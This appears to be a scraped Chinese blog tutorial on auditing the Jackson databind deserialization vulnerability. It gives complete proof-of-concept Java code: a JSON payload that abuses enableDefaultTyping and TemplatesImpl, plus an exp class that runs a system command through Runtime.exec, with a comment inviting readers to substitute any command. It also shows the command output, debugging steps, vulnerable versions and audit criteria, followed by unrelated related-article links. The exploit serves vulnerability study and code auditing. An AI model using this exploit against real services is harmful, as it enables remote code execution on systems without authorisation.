小白审计JACKSON反序列化漏洞
1. JACKSON漏洞解析
poc代码:main.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException; /**
* Created by Administrator on 2017/6/12.
*/
public class main { public static void main(String[] args) {
String MASIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//改成exp存在的绝对路径
String exp = readClassStr("D:\\workspace\\123\\target\\classes\\exp.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'p',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
User user;
try {
user = mapper.readValue(jsonInput, User.class);
System.out.println(user.getSex());
System.out.println(user.getName());
} catch (Exception e) {
e.printStackTrace();
}
} public static String aposToQuotes(String json){
return json.replace("'","\"");
} public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}
exp.java
import com.sun.javaws.progress.Progress;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.*; /**
* Created by Administrator on 2017/6/12.
*/
public class exp extends AbstractTranslet {
public exp() throws Exception { try {
BufferedReader br = null;
//修改成你想要执行的命令
Process p = Runtime.getRuntime().exec("ipconfig");
br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = null;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
System.out.println(sb);
}
File file = new File("result.txt");
//File file =new File("javaio-appendfile.txt"); //if file doesnt exists, then create it
if(!file.exists()){
file.createNewFile();
} //true = append file
FileWriter fileWritter = new FileWriter(file.getName(),true);
BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
bufferWritter.write(sb.toString());
bufferWritter.close();
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace(); }
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
user.java
import java.io.Serializable;
import java.util.Arrays;
import java.util.InputMismatchException;
import java.util.Objects; /**
* Created by Administrator on 2017/6/12.
*/
public class User {
private Object object;
public Object getObject() {
return object;
}
public void setObject(Object object) {
this.object = object;
}
}
尝试执行:
发现result.txt中存在结果
Windows IP ���� ��̫�������� �������� 2: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�
�����ض��� DNS �� . . . . . . . : ��̫�������� Npcap Loopback Adapter: �����ض��� DNS �� . . . . . . . :
�������� IPv6 ��ַ. . . . . . . . : fe80::b047:25da:330b:45d4%18
�Զ����� IPv4 ��ַ . . . . . . . : 169.254.69.212
�������� . . . . . . . . . . . . : 255.255.0.0
Ĭ�����. . . . . . . . . . . . . : ��̫�������� ��������: �����ض��� DNS �� . . . . . . . :
�������� IPv6 ��ַ. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12
IPv4 ��ַ . . . . . . . . . . . . : 10.0.83.198
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ�����. . . . . . . . . . . . . : 10.0.83.1
调试本地代码:
由于Jackson中是通过readValue执行命令,
按F7进入当前函数:
跳过几次赋值,进入到当前函数,发现次函数中存在反序列化的赋值,按F7进行调试

经过多次调试发现,命令在标红处代码执行,并抛出异常

多部调试,F7进入函数代码(SetterlessProperty.java):

代码执行:

2. Jackson反序列化漏洞如何审计
OK,说到这就简单介绍了下,Jackson的反序列化代码运行的过程,那么现在代码审计中如何审计的出来项目是否包含Jackson反序列化呢?
第一步:看版本,如果Jackson的版本号不在存在漏洞的版本列表中,肯定不会有此漏洞,
版本列表:
Jackson 2.7版本(<2.7.10)
Jackson 2.8版本(<2.8.9)
第二步:你的Bean类中是否包含object类型的变量:
例如,我这边的User类中的Object变量定义为:private Object object
第三步:Jackson的ObjectMapper必须调用enableDefaultTyping:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
满足以上三个要求,才能进行构造POC进行校验。
小白审计JACKSON反序列化漏洞的更多相关文章
- php反序列化漏洞复现
超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题: ...
- ThinkPHP v6.0.x 反序列化漏洞利用
前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- Java审计之CMS中的那些反序列化漏洞
Java审计之CMS中的那些反序列化漏洞 0x00 前言 过年这段时间比较无聊,找了一套源码审计了一下,发现几个有意思的点拿出来给分享一下. 0x01 XStream 反序列化漏洞 下载源码下来发现并 ...
- PHP审计之PHP反序列化漏洞
PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...
- php代码审计9审计反序列化漏洞
序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- .NET高级代码审计(第五课) .NET Remoting反序列化漏洞
0x00 前言 最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET Remoting应用程序可能存在反序列化安全风险,当服务端使用HTTP信道中的SoapServerF ...
随机推荐
- 学习MVC之租房网站(五)-权限、角色、用户管理
在上一篇<学习MVC之租房网站(四)-实现Service层并进行单元测试>中,记录了实现Service层并进行单元测试的过程,接下来该到"正题"-MVC了,也就是UI层 ...
- 浅析c++/java/c#三大热门编程语言的运行效率
从安全角度考虑,C#是这几中语言中最为安全的,它其中定义的相关安全机制很好的确保了系统的安全... 今天和同学们一起探讨下c++/java/c# 三大热门语言的运行效率情况,以及各自的用途. 估计有很 ...
- AIX误删除LV后如何进行现场保护和数据恢复工作
在AIX环境下,若因维护误操作.存储mapping错误等,不小心将LV误删除,这种损失通常是巨大的.删除后的不当保护及恢复操作可能使数据无法恢复,也可能增加处理的时间与算法复杂度.如何有效保护现场,并 ...
- systemtap原理及使用
SystemTap的架构 SystemTap用于检查运行的内核的两种方法是 Kprobes和 返回探针.但是理解任何内核的最关键要素是内核的映射,它提供符号信息(比如函数.变量以及它们的地址).有了内 ...
- 蓝桥杯-等额本金-java
/* (程序头部注释开始) * 程序的版权和版本声明部分 * Copyright (c) 2016, 广州科技贸易职业学院信息工程系学生 * All rights reserved. * 文件名称: ...
- ASP.NET Core实现强类型Configuration读取配置数据
前言 实现读取JSON文件几种方式,在项目中采取老办法简单粗暴,结果老大过来一看,恩,这样不太可取,行吧那我就用.NET Core中最新的方式诺,切记,适合的才是最好的,切勿懒. .NET Core读 ...
- endsWith is not a function解决方案
在写javascript脚本时,用某些方法,有时候会碰到"XXX is not a function"之类的报错. 出现这种情况,主要是因为某些方法在低版本浏览器上不支持.比如说& ...
- 我的Cocos2dx开发模式
编程环境: 1.window 7 32bit 2.cocos2dx 3.0 3.python 2.7 (注意不要使用3.0以上版本,除非cocos2dx推荐使用) 4.apache-ant-1.9.3 ...
- Struts2之 OGNL表达式和值栈
技术分析之OGNL表达式概述(了解) 1. OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写 * 所谓对象图,即以任意 ...
- Excel 数据导出
Web controller /// <summary> /// 导出数据 /// </summary> /// <param name="UserID&qu ...